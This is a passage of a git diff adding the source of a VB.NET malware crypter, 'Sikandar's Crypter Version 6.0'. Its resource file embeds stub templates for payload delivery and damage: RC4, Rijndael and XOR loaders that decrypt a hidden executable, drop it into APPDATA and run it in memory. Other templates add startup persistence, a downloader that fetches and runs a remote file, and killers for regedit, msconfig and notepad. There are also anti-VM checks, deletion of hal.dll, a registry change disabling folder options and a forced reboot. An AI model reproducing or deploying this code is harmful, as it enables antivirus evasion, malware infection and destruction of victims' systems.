initial commit
This commit is contained in:
i2p
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.1
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.SCV6._0.Form1
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form1</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("Sikandar's Crypter Version 6.0")>
|
||||
<Assembly: AssemblyDescription("Sikandar's Crypter Version 6.0")>
|
||||
<Assembly: AssemblyCompany("Sikandar's Lab")>
|
||||
<Assembly: AssemblyProduct("Sikandar's Crypter Version 6.0")>
|
||||
<Assembly: AssemblyCopyright("Copyright © Sikandar's Lab 2011")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(True)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("e21ab8a7-22de-4c4e-939b-046c28e42886")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("6.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("6.0.0.0")>
|
||||
@@ -0,0 +1,847 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.1
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("SCV6._0.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub PushStart()
|
||||
''' Dim xx As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
|
||||
''' While True
|
||||
''' Try
|
||||
''' If Not IO.File.Exists(xx) Then
|
||||
''' IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, xx)
|
||||
''' End If
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' System.Threading.Thread.Sleep(5000)
|
||||
''' End While
|
||||
'''End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Add2StartUp() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Add2StartUp", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub F63()
|
||||
''' Killer("dxdiag")
|
||||
''' End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Adxdiag() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Adxdiag", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {AD(System.Text.Encoding.Default.GetByt [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property AESLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("AESLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Function AD(ByVal Y As Byte())
|
||||
''' Using A As New System.Security.Cryptography.RC2CryptoServiceProvider
|
||||
''' A.IV = New Byte() {Convert.ToInt32(1000, 2), Convert.ToInt32(111, 2), _
|
||||
''' Convert.ToInt32(110, 2), Convert.ToInt32(101, 2), _
|
||||
''' Convert.ToInt32(100, 2), Convert.ToInt32(11, 2), _
|
||||
''' Convert.ToInt32(10, 2), Convert.ToInt32(&H1, 2)}
|
||||
''' A.Key = New Byte() {Convert.ToInt32(&H0, 2), Conve [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property AESRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("AESRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub F62()
|
||||
''' Killer("notepad")
|
||||
''' End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property ANotePad() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("ANotePad", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub AT
|
||||
''' Dim id As String = "76487-337-8429955-22614"
|
||||
'''
|
||||
''' Dim regPID As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)
|
||||
'''
|
||||
''' Dim pid As Object = regPID.GetValue("ProductId")
|
||||
'''
|
||||
''' Dim D As Object, R As String = Nothing, B As String = "SELECT * FROM Win32_VideoController"
|
||||
'''
|
||||
''' D = GetObject("winmgmts:").ExecQuery(B)
|
||||
'''
|
||||
''' Dim AdaptList As Object
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property AntisSub() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("AntisSub", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nindex As Long, ByVal dwnewlong As Long) As Long
|
||||
'''|Public Declare Function CallWindowProc Lib "user32.dll" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
|
||||
'''|Public Declare Function DefWindowProc Lib "user32.dll" Alias "DefWindowProcA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property APIs() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("APIs", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim filled() As String
|
||||
'''
|
||||
'''Dim rand As New Random()
|
||||
'''
|
||||
''''FilledSplitting
|
||||
'''
|
||||
'''Dim tpth As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & rand.Next(10000, 99999).ToString & filled(1)
|
||||
'''
|
||||
'''My.Computer.FileSystem.WriteAllBytes(tpth, System.Text.Encoding.Default.GetBytes(filled(0)), False)
|
||||
'''
|
||||
'''System.Diagnostics.Process.Start(tpth)
|
||||
'''
|
||||
'''.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Binder() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Binder", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim Expl As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\1" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
|
||||
'''My.Computer.Network.DownloadFile($DownloadLink$, Expl)
|
||||
'''Do Until IO.File.Exists(Expl) = True
|
||||
''' System.Threading.Thread.Sleep(1000)
|
||||
'''Loop
|
||||
'''System.Diagnostics.Process.Start(Expl).
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Downloader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Downloader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Try
|
||||
''' Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer"
|
||||
''' My.Computer.Registry.SetValue(regloc, "NoFolderOptions", "1", Microsoft.Win32.RegistryValueKind.DWord)
|
||||
'''Catch
|
||||
'''End Try.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property FolderOpt() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("FolderOpt", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Sub A(ByVal ProcessName As String)
|
||||
''' Dim proc As System.Diagnostics.Process() = System.Diagnostics.Process.GetProcesses
|
||||
''' If System.Diagnostics.Process.GetProcessesByName(ProcessName).Length >= 1 Then
|
||||
''' System.Threading.Thread.Sleep(10000)
|
||||
''' End If
|
||||
'''End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property FunctionA() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("FunctionA", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Try
|
||||
''' IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\hal.dll")
|
||||
'''Catch
|
||||
'''End Try.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property HalDLL() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("HalDLL", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function RInvoke(ByVal bytes As Byte()) As Boolean
|
||||
''' Dim vr1 As New Threading.Thread(AddressOf vr0)
|
||||
''' vr1.SetApartmentState(Threading.ApartmentState.STA)
|
||||
''' vr1.Start(bytes)
|
||||
''' End Function
|
||||
''' Private Shared Sub vr0(ByVal vr0 As Object)
|
||||
''' Dim vr19 As Reflection.MethodInfo = Reflection.Assembly.Load(DirectCast(vr0, Byte())).EntryPoint
|
||||
''' If vr19.GetParameters.Length = 1 Then
|
||||
''' vr19.Invoke(Nothing, New Object() {New String() {}})
|
||||
''' Else␍ ''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Invoke() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Invoke", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function Killer(ByVal proc As String) As String
|
||||
''' Try
|
||||
''' While True
|
||||
''' Dim p As System.Diagnostics.Process
|
||||
''' For Each p In System.Diagnostics.Process.GetProcesses
|
||||
''' If proc.Contains(p.ProcessName) Then
|
||||
''' p.Kill()
|
||||
''' End If
|
||||
''' Next
|
||||
''' System.Threading.Thread.Sleep(1)
|
||||
''' End While
|
||||
''' Catch ex As Exception
|
||||
''' End Try
|
||||
''' Return Nothing
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property KFunction() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("KFunction", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub KKK
|
||||
'''
|
||||
''' Dim KF13 As New System.Threading.Thread(AddressOf F13)
|
||||
'''
|
||||
''' KF13.Start()
|
||||
'''
|
||||
''' Dim KF14 As New System.Threading.Thread(AddressOf F14)
|
||||
'''
|
||||
''' KF14.Start()
|
||||
'''
|
||||
''' Dim KF15 As New System.Threading.Thread(AddressOf F15)
|
||||
'''
|
||||
''' KF15.Start()
|
||||
'''
|
||||
''' Dim KF16 As New System.Threading.Thread(AddressOf F16)
|
||||
'''
|
||||
''' KF16.Start()
|
||||
'''
|
||||
''' Dim KF17 As New System.Threading.Thread(AddressOf F17)
|
||||
'''
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Killers() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Killers", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to 'Shared Sub Melt(ByVal NewName As String)
|
||||
''' ' Try
|
||||
''' ' Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
|
||||
''' ' If Application.StartupPath = NewFolder = False Then
|
||||
''' ' FileCopy(System.Windows.Forms.Application.ExecutablePath, NewFolder & "\" & NewName)
|
||||
''' ' Shell(NewFolder & "\" & NewName & " " & Application.ExecutablePath)
|
||||
''' ' Dim Hidden As System.IO.FileAttributes = FileAttributes.Hidden
|
||||
''' ' IO.File.SetAttributes(NewFolder & "\" & NewName, Hidden)
|
||||
''' ' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Melt() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Melt", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub F61()
|
||||
''' Killer("msconfig")
|
||||
''' End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property msconfig() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("msconfig", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function PolyDec(ByVal Input As String) As String
|
||||
''' Dim Output As String = Nothing
|
||||
''' Dim SA() As String
|
||||
''' SA = Input.Split("|")
|
||||
''' For Each C As String In SA
|
||||
''' Try
|
||||
''' Output = Output & Chr(C - SA(0))
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' Next
|
||||
''' Return Output.Remove(0, 1)
|
||||
'''End Function.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyDec() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyDec", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim D As New PolyRC4(R.GetObject("K"))
|
||||
''' Dim N As String = D.Decrypt(R.GetObject("NM"))
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Dim B As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("I")))
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, B, False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' Dim C As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("F")))
|
||||
''' LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X")) [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyRC4Loader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyRC4Loader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Class PolyRC4
|
||||
'''
|
||||
''' Private Key As String = "sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf"
|
||||
'''
|
||||
''' Sub New(ByVal EncryptionKey As String)
|
||||
'''
|
||||
''' Key = EncryptionKey
|
||||
'''
|
||||
''' End Sub
|
||||
'''
|
||||
''' Public Function Encrypt(ByVal message As String) As String
|
||||
'''
|
||||
''' message = XX(message, Key)
|
||||
'''
|
||||
''' Dim random As New Random()
|
||||
'''
|
||||
''' Dim list1 As New System.Collections.ArrayList(), list2 As New System.Collections.ArrayList()
|
||||
'''
|
||||
''' Dim out [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyRC4Rev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyRC4Rev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
'''R.GetObject("K")))
|
||||
'''Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
'''If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
'''End If
|
||||
'''Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
'''Catch
|
||||
'''End Try
|
||||
'''LoadMethod("IX", " [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyStairsLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyStairsLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Class PolyMorphicStairs
|
||||
''' Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
|
||||
''' Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
|
||||
''' PolyDeCrypt = Encoding.Default.GetString(buff)
|
||||
''' Erase buff
|
||||
''' End Function
|
||||
''' Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal Ex [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyStairsRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyStairsRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim D As New Polymorphic(R.GetObject("K"))
|
||||
''' Dim N As String = System.Text.Encoding.Default.GetString(D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' LoadMethod("IX", "R", CC(ReverseString(R.Get [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyXORLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyXORLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Class PolyMorphic
|
||||
''' 'Variable for the Key.
|
||||
''' Private sKey As String = ""
|
||||
''' 'Property, will Give us acces to the key.
|
||||
''' Public Property Key() As String
|
||||
''' Get
|
||||
''' Return sKey
|
||||
''' End Get
|
||||
''' Set(ByVal value As String)
|
||||
''' sKey = value
|
||||
''' End Set
|
||||
''' End Property
|
||||
''' 'Inisalization. (New Constructor)
|
||||
''' Public Sub New(ByVal Key As String)
|
||||
''' Me.Key = Key
|
||||
''' End Sub
|
||||
''' Public [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property PolyXORRev() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("PolyXORRev", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function Rc4(ByVal ºjmÍ() As Byte, ByVal ºjmUÍ() As Byte) As Byte()
|
||||
'''
|
||||
''' Dim s(Convert.ToInt32(11111111, &H2)) As Byte
|
||||
'''
|
||||
''' Dim i As Integer
|
||||
'''
|
||||
''' For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
|
||||
'''
|
||||
''' s(i) = CByte(i)
|
||||
'''
|
||||
''' Next
|
||||
'''
|
||||
''' Dim j As Integer
|
||||
'''
|
||||
''' For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
|
||||
'''
|
||||
''' j = (j + ºjmUÍ(i Mod ºjmUÍ.Length) + s(i)) And Convert.ToInt32(11111111, &H2)
|
||||
'''
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property RC4() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("RC4", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
|
||||
'''R.GetObject("K")))
|
||||
'''Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
'''If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
'''End If
|
||||
'''Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
|
||||
'''Catch
|
||||
'''End Try
|
||||
'''LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object( [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property RC4Loader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("RC4Loader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Shared Sub F60()
|
||||
''' Killer("regedit")
|
||||
'''End Sub.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Regedit() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Regedit", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Option Explicit Off
|
||||
'''Option Strict Off
|
||||
'''Imports System.Reflection
|
||||
'''Imports System.Runtime.InteropServices
|
||||
'''Imports System
|
||||
'''Imports Microsoft.VisualBasic
|
||||
'''Imports System.Text
|
||||
'''Imports System.Security.Cryptography
|
||||
'''Imports Microsoft.Win32
|
||||
'''Imports System.Windows.Forms
|
||||
'''Imports System.IO
|
||||
'''Imports System.CodeDom.Compiler
|
||||
''''AssemblyCodes
|
||||
'''Public Class Out
|
||||
''' 'FakeAPI#1
|
||||
''' 'FakeAPI#2
|
||||
''' 'FakeAPI#3
|
||||
''' 'FakeAPI#4
|
||||
''' 'FakeAPI#5
|
||||
''' 'FakeAPI#6
|
||||
''' 'FakeAPI#7
|
||||
''' 'FakeAPI#8
|
||||
''' 'FakeAPI#9
|
||||
''' 'FakeAPI#A
|
||||
''' [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property ResetStub() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("ResetStub", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim bytloc As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\restart"
|
||||
'''If Not IO.File.Exists(bytloc) Then
|
||||
''' Dim filebyt As Byte() = New Byte() {}
|
||||
''' My.Computer.FileSystem.WriteAllBytes(bytloc, filebyt, False)
|
||||
''' Microsoft.VisualBasic.Shell("shutdown -r -t" & " 00", Microsoft.VisualBasic.AppWinStyle.Hide)
|
||||
'''End If.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Restart() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Restart", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Dim N As String = RijndaelDecrypt(R.GetObject("NM"),R.GetObject("K"))
|
||||
''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
|
||||
''' If IO.File.Exists(I) Then
|
||||
''' IO.File.Delete(I)
|
||||
''' End If
|
||||
''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("I"), _
|
||||
''' R.GetObject("K")))
|
||||
''' Try
|
||||
''' My.Computer.FileSystem.WriteAllBytes(I, II, False)
|
||||
''' Catch
|
||||
''' End Try
|
||||
''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("F"), _
|
||||
''' R.GetObject("K")))
|
||||
''' LoadMethod("IX [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property RijLoader() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("RijLoader", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String)
|
||||
'''
|
||||
''' Dim A As New RijndaelManaged
|
||||
'''
|
||||
''' Dim BC() As Byte
|
||||
'''
|
||||
''' Dim BS() As Byte = New Byte() {Convert.ToInt32(&H1, &H2), _
|
||||
''' Convert.ToInt32(10, &H2), _
|
||||
''' Convert.ToInt32(11, &H2), _
|
||||
''' Convert.ToInt32(100, &H2), _
|
||||
''' Convert.ToInt32(101, &H2), [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property RijndaelRev() As String
|
||||
Get
|
||||
